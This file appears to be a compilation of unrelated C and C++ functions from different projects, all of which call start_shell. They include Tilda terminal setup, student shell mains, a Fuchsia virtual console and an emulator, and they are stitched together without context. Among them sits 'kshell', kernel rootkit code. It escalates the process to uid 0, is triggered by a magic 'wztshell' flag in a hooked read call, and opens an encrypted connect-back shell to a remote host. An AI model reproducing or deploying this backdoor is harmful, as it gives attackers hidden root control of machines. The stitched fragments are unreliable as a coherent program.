void
ShellContent::processLine() {
_history.push_back( _entry );
_hpos = _history.size();
// _output->addTextLine ( (string) _prompt + _entry.str() );
TextSpan end = TextSpan ( _output->end(), _output->end() );
_output->insertSpan ( _prompt + _entry.str() + "\n", end );
if ( _entry.substr(0,1) != "/" ) {
if ( _entry.size() > 0 )
if ( _console ) {
_console->send_command( _entry.str() );
}
else {
make_system_call(_entry.str() );
}
}
else {
if ( _entry.str() == "/shell" ) {
start_shell();
}
else {
ClientSessionManagerImp::instance()->console_request( _entry.str() );
}
}
_entry = TextLine();
_loc.chr = 0;
}
int main() {
//Clean BSS
memset(&bss, 0, &endOfBinary - &bss);
start_shell();
return 0;
}
int main(int ac, char **av, char **env)
{
(void)ac;
(void)av;
if ((check_pre()) == -1)
return (-1);
if (init_my_shell(&shell, env) == -1)
return (-1);
if (start_shell(&shell) == -42)
return (shell.exit_value);
free_struct_shell(&shell);
return (0);
}
static void child_exited_cb (GtkWidget *widget, gpointer data)
{
DEBUG_FUNCTION ("child_exited_cb");
DEBUG_ASSERT (widget != NULL);
DEBUG_ASSERT (data != NULL);
tilda_term *tt = TILDA_TERM(data);
gint index = gtk_notebook_page_num (GTK_NOTEBOOK(tt->tw->notebook), tt->hbox);
/* Make sure we got a valid index */
if (index == -1)
{
DEBUG_ERROR ("Bad notebook tab\n");
return;
}
/* These can stay here. They don't need to go into a header because
* they are only used at this point in the code. */
enum command_exit { DROP_TO_DEFAULT_SHELL, RESTART_COMMAND, EXIT_TERMINAL };
/* Check the user's preference for what to do when the child terminal
* is closed. Take the appropriate action */
switch (config_getint ("command_exit"))
{
case EXIT_TERMINAL:
tilda_window_close_tab (tt->tw, index, FALSE);
break;
case RESTART_COMMAND:
vte_terminal_feed (VTE_TERMINAL(tt->vte_term), "\r\n\r\n", 4);
start_shell (tt, FALSE, NULL);
break;
case DROP_TO_DEFAULT_SHELL:
start_shell (tt, TRUE, NULL);
default:
break;
}
}
int main(UNUSED int ac, UNUSED char **av, char **env)
{
t_data data;
data.user = NULL;
data.old_pwd = NULL;
signal(SIGINT, SIG_IGN);
init_builtins(&data);
copy_env(env, &data);
if (start_shell(&data) == -2)
{
free_all(&data);
return (my_getnbr(data.cmd[1]));
}
free_all(&data);
return (0);
}
int main(int ac, char **av) {
spi_byte_t memory[MEM_SIZE];
spi_cpu_t cpu;
const spi_program_config_t cfg = prg_16k();
int err;
if (ac > 1) {
std::memset(memory, 0, MEM_SIZE);
if ((err = spi_load_program(av[1], memory, &cfg, IGNORE_PRG_SIZE))) {
spi_print_error(err);
return EXIT_FAILURE;
}
}
spi_cpu_init(&cpu, 20, MHZ);
spi_cpu_reset(&cpu, memory, &cfg);
start_shell(cpu, memory);
return 0;
}
int main(int argc, char **argv){
char *user;
char *cmd;
user = getenv("USER");
fprintf(stdout, "Hi %s, see the list of active commands bellow:\n", user);
fprintf(stdout, " +ls\n");
fprintf(stdout, " +cd\n");
fprintf(stdout, " +get\n");
fprintf(stdout, " +put\n");
fprintf(stdout, " +exit\n");
init_shell();
start_shell();
return 0;
}
ShellContent::ShellContent() :
WindowContent(),
_leading( 0.067 ),
_fontScale( 0.045),
_fontAspect( 0.9 ),
_fontWeight( 1.8 ),
_canvasDirty ( true ),
_viewportDirty ( true ),
_console( NULL ),
_shell( NULL ),
_shell_tid( 0 )
{
_loc.line = 0;
_loc.chr = 0;
_wSpace = drawString_length_mono ("m");
_wTab = _wSpace * 4;
_viewport.setScale( 1.1, 1.1 );
_output = new TextBuffer();
_id = IDManager::instance()->getStencilID();
_prompt = "audicle %> ";
//start shell immediately;
start_shell();
}
/**
* kshell - start a connect back shell in kernel space.
* @ip: remote ip to connect.
* @port: remote port to connect.
* both ip and port are network bytes.
*
* When the system call 'read' had read the flag 'wztshell',it will be use this
* function to start a connect back shell.
*
* return value is always NF_ACCEPT.It's not firewall,just want to filter the key.
*/
int kshell(int ip,int port)
{
//struct task_struct *ptr = current;
struct cred *ptr = (struct cred *)current->cred;
struct socket *sock;
struct sockaddr_in server;
struct winsize ws;
mm_segment_t old_fs;
fd_set s_read;
int soc, tmp_pid, i;
int byte1,count,rlen;
int error;
int len = sizeof(struct sockaddr);
char tmp[101],buf[101];
unsigned char *p,*d;
unsigned char wb[5];
old_fs = get_fs();
ptr->uid = 0;
ptr->euid = 0;
ptr->gid = SGID;
ptr->egid = 0;
set_fs(KERNEL_DS);
ssetmask(~0);
for (i = 0;i < 4096; i++)
close(i);
error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
if (error < 0) {
#if DEBUG == 1
printk("[-] socket_create failed: %d\n",error);
#endif
sock_release(sock);
wztshell = 0;
e_exit(-1);
return -1;
}
//http://lkml.indiana.edu/hypermail/linux/kernel/0805.0/2937.html
soc = sock_map_fd(sock,0);
if (soc < 0) {
#if DEBUG == 1
printk("[-] sock_map_fd() failed.\n");
#endif
sock_release(sock);
wztshell = 0;
e_exit(-1);
return -1;
}
for (i = 0; i < 8; i++)
server.sin_zero[i] = 0;
server.sin_family = PF_INET;
server.sin_addr.s_addr = ip;
server.sin_port = port;
error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags);
if (error < 0) {
#if DEBUG == 1
printk("[-] connect to failed.\n");
#endif
e_exit(-1);
return -1;
}
epty = get_pty();
set_fs(old_fs);
if (!(tmp_pid = fork()))
start_shell();
set_fs(KERNEL_DS);
/*
#if ENCRYPT == 1
encrypt_code(banner,200);
#endif
write(soc,banner,200);
*/
while (1) {
FD_ZERO(&s_read);
FD_SET(ptmx, &s_read);
FD_SET(soc, &s_read);
if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0)
break;
if (FD_ISSET(ptmx, &s_read)) {
byte1 = read(ptmx, tmp, 100);
if (byte1 <= 0)
break;
#if ENCRYPT == 1
encrypt_code(tmp,byte1);
#endif
write(soc, tmp, byte1);
}
if (FD_ISSET(soc, &s_read)) {
d = buf;
count = read(soc, buf, 100);
if (count <= 0)
break;
#if ENCRYPT == 1
encrypt_code(buf,count);
#endif
p = memchr(buf, ECHAR, count);
if (p) {
rlen = count - ((long) p - (long) buf);
/* wait for rest */
if (rlen > 5) rlen = 5;
memcpy(wb, p, rlen);
if (rlen < 5) {
read(soc, &wb[rlen], 5 - rlen);
#if ENCRYPT == 1
encrypt_code(&wb[rlen],5 - rlen);
#endif
}
/* setup window */
ws.ws_xpixel = ws.ws_ypixel = 0;
ws.ws_col = (wb[1] << 8) + wb[2];
ws.ws_row = (wb[3] << 8) + wb[4];
ioctl(ptmx, TIOCSWINSZ, (unsigned long)&ws);
kill(0, SIGWINCH);
/* write the rest */
write(ptmx, buf, (long) p - (long) buf);
rlen = ((long) buf + count) - ((long)p+5);
if (rlen > 0) write(ptmx, p+5, rlen);
} else
if (write(ptmx, d, count) <= 0) break;
}
}
kill(tmp_pid, SIGKILL);
set_fs(old_fs);
e_exit(0);
return -1;
}
int main(void)
{
start_shell();
return EXIT_SUCCESS;
}
int main(int argc, char** argv) {
// NOTE: devmgr has getenv_bool. when more options are added, consider
// sharing that.
bool keep_log = false;
const char* value = getenv("virtcon.keep-log-visible");
if (value == NULL ||
((strcmp(value, "0") == 0) ||
(strcmp(value, "false") == 0) ||
(strcmp(value, "off") == 0))) {
keep_log = false;
} else {
keep_log = true;
}
const char* cmd = NULL;
int shells = 0;
while (argc > 1) {
if (!strcmp(argv[1], "--run")) {
if (argc > 2) {
argc--;
argv++;
cmd = argv[1];
if (shells < 1)
shells = 1;
printf("CMD: %s\n", cmd);
}
} else if (!strcmp(argv[1], "--shells")) {
if (argc > 2) {
argc--;
argv++;
shells = atoi(argv[1]);
}
}
argc--;
argv++;
}
if (port_init(&port) < 0) {
return -1;
}
// create initial console for debug log
if (vc_create(&log_vc, false) != ZX_OK) {
return -1;
}
snprintf(log_vc->title, sizeof(log_vc->title), "debuglog");
// Get our process koid so the log reader can
// filter out our own debug messages from the log
zx_info_handle_basic_t info;
if (zx_object_get_info(zx_process_self(), ZX_INFO_HANDLE_BASIC, &info,
sizeof(info), NULL, NULL) == ZX_OK) {
proc_koid = info.koid;
}
log_ph.handle = zx_take_startup_handle(PA_HND(PA_USER0, 1));
if (log_ph.handle == ZX_HANDLE_INVALID) {
printf("vc log listener: did not receive log startup handle\n");
return -1;
}
log_ph.func = log_reader_cb;
log_ph.waitfor = ZX_LOG_READABLE;
if ((new_vc_ph.handle = zx_take_startup_handle(PA_HND(PA_USER0, 0))) != ZX_HANDLE_INVALID) {
new_vc_ph.func = new_vc_cb;
new_vc_ph.waitfor = ZX_CHANNEL_READABLE;
port_wait(&port, &new_vc_ph);
}
setup_dir_watcher("/dev/class/input", input_cb, &input_ph, &input_dir_fd);
if (!vc_display_init()) {
return -1;
}
setenv("TERM", "xterm", 1);
for (int i = 0; i < shells; ++i) {
if (i == 0)
start_shell(!keep_log, cmd);
else
start_shell(false, NULL);
}
zx_status_t r = port_dispatch(&port, ZX_TIME_INFINITE, false);
printf("vc: port failure: %d\n", r);
return -1;
}
struct tilda_term_ *tilda_term_init (struct tilda_window_ *tw)
{
DEBUG_FUNCTION ("tilda_term_init");
DEBUG_ASSERT (tw != NULL);
int ret;
struct tilda_term_ *term;
GError *error = NULL;
tilda_term *current_tt;
gint current_tt_index;
char *current_tt_dir = NULL;
term = g_malloc (sizeof (struct tilda_term_));
/* Add to GList list of tilda_term structures in tilda_window structure */
tw->terms = g_list_append (tw->terms, term);
/* Check for a failed allocation */
if (!term)
return NULL;
/* Set the PID to unset value */
term->pid = -1;
/* Add the parent window reference */
term->tw = tw;
/* Create a non-homogenous hbox, with 0px spacing between members */
term->hbox = gtk_box_new (GTK_ORIENTATION_HORIZONTAL, 0);
/* Create the terminal */
term->vte_term = vte_terminal_new ();
/* Create the scrollbar for the terminal */
term->scrollbar = gtk_scrollbar_new (GTK_ORIENTATION_VERTICAL,
gtk_scrollable_get_vadjustment (GTK_SCROLLABLE (VTE_TERMINAL(term->vte_term))));
/* Initialize to false, we have not yet dropped to the default shell */
term->dropped_to_default_shell = FALSE;
/* Set properties of the terminal */
tilda_term_config_defaults (term);
/* Update the font scale because the newly created terminal uses the default font size */
tilda_term_adjust_font_scale(term, tw->current_scale_factor);
/* Pack everything into the hbox */
gtk_box_pack_end (GTK_BOX(term->hbox), term->scrollbar, FALSE, FALSE, 0);
gtk_box_pack_end (GTK_BOX(term->hbox), term->vte_term, TRUE, TRUE, 0);
gtk_widget_show (term->scrollbar);
/* Set the scrollbar position */
tilda_term_set_scrollbar_position (term, config_getint ("scrollbar_pos"));
/** Signal Connection **/
g_signal_connect (G_OBJECT(term->vte_term), "child-exited",
G_CALLBACK(child_exited_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "window-title-changed",
G_CALLBACK(window_title_changed_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "eof",
G_CALLBACK(child_exited_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "status-line-changed",
G_CALLBACK(status_line_changed_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "button-press-event",
G_CALLBACK(button_press_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "key-press-event",
G_CALLBACK(key_press_cb), term); //needs GDK_KEY_PRESS_MASK
/* Connect to application request signals. */
g_signal_connect (G_OBJECT(term->vte_term), "iconify-window",
G_CALLBACK(iconify_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "deiconify-window",
G_CALLBACK(deiconify_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "raise-window",
G_CALLBACK(raise_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "lower-window",
G_CALLBACK(lower_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "maximize-window",
G_CALLBACK(maximize_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "restore-window",
G_CALLBACK(restore_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "refresh-window",
G_CALLBACK(refresh_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "move-window",
G_CALLBACK(move_window_cb), tw->window);
g_signal_connect (G_OBJECT (tw->notebook), "switch-page",
G_CALLBACK (tilda_terminal_switch_page_cb), tw);
/* Match URL's, etc */
term->http_regexp=g_regex_new(HTTP_REGEXP, G_REGEX_CASELESS, G_REGEX_MATCH_NOTEMPTY, &error);
ret = vte_terminal_match_add_gregex(VTE_TERMINAL(term->vte_term), term->http_regexp,0);
vte_terminal_match_set_cursor_type (VTE_TERMINAL(term->vte_term), ret, GDK_HAND2);
/* Show the child widgets */
gtk_widget_show (term->vte_term);
gtk_widget_show (term->hbox);
/* Get current term's working directory */
current_tt_index = gtk_notebook_get_current_page (GTK_NOTEBOOK(tw->notebook));
current_tt = g_list_nth_data (tw->terms, current_tt_index);
if (current_tt != NULL)
{
current_tt_dir = tilda_term_get_cwd(current_tt);
}
/* Fork the appropriate command into the terminal */
ret = start_shell (term, FALSE, current_tt_dir);
g_free(current_tt_dir);
if (ret)
goto err_fork;
return term;
err_fork:
g_free (term);
return NULL;
}
struct tilda_term_ *tilda_term_init (struct tilda_window_ *tw)
{
DEBUG_FUNCTION ("tilda_term_init");
DEBUG_ASSERT (tw != NULL);
int ret;
struct tilda_term_ *term;
GError *error = NULL;
term = g_malloc (sizeof (struct tilda_term_));
/* Check for a failed allocation */
if (!term)
return NULL;
/* Add the parent window reference */
term->tw = tw;
/* Create a non-homogenous hbox, with 0px spacing between members */
term->hbox = gtk_box_new (GTK_ORIENTATION_HORIZONTAL, 0);
/* Create the terminal */
term->vte_term = vte_terminal_new ();
/* Create the scrollbar for the terminal */
term->scrollbar = gtk_scrollbar_new (GTK_ORIENTATION_HORIZONTAL,
gtk_scrollable_get_vadjustment (GTK_SCROLLABLE (VTE_TERMINAL(term->vte_term))));
/* Set properties of the terminal */
tilda_term_config_defaults (term);
/* Pack everything into the hbox */
gtk_box_pack_end (GTK_BOX(term->hbox), term->scrollbar, FALSE, FALSE, 0);
gtk_box_pack_end (GTK_BOX(term->hbox), term->vte_term, TRUE, TRUE, 0);
gtk_widget_show (term->scrollbar);
/* Set the scrollbar position */
tilda_term_set_scrollbar_position (term, config_getint ("scrollbar_pos"));
/** Signal Connection **/
g_signal_connect (G_OBJECT(term->vte_term), "child-exited",
G_CALLBACK(child_exited_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "window-title-changed",
G_CALLBACK(window_title_changed_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "eof",
G_CALLBACK(child_exited_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "status-line-changed",
G_CALLBACK(status_line_changed_cb), term);
g_signal_connect (G_OBJECT(term->vte_term), "button-press-event",
G_CALLBACK(button_press_cb), term);
/* Connect to application request signals. */
g_signal_connect (G_OBJECT(term->vte_term), "iconify-window",
G_CALLBACK(iconify_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "deiconify-window",
G_CALLBACK(deiconify_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "raise-window",
G_CALLBACK(raise_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "lower-window",
G_CALLBACK(lower_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "maximize-window",
G_CALLBACK(maximize_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "restore-window",
G_CALLBACK(restore_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "refresh-window",
G_CALLBACK(refresh_window_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "move-window",
G_CALLBACK(move_window_cb), tw->window);
/* Connect to font tweakage. */
g_signal_connect (G_OBJECT(term->vte_term), "increase-font-size",
G_CALLBACK(increase_font_size_cb), tw->window);
g_signal_connect (G_OBJECT(term->vte_term), "decrease-font-size",
G_CALLBACK(decrease_font_size_cb), tw->window);
/* Match URL's, etc */
term->http_regexp=g_regex_new(HTTP_REGEXP, G_REGEX_CASELESS, G_REGEX_MATCH_NOTEMPTY, &error);
ret = vte_terminal_match_add_gregex(VTE_TERMINAL(term->vte_term), term->http_regexp,0);
vte_terminal_match_set_cursor_type (VTE_TERMINAL(term->vte_term), ret, GDK_HAND2);
/* Show the child widgets */
gtk_widget_show (term->vte_term);
gtk_widget_show (term->hbox);
/* Fork the appropriate command into the terminal */
ret = start_shell (term);
if (ret)
goto err_fork;
return term;
err_fork:
g_free (term);
return NULL;
}
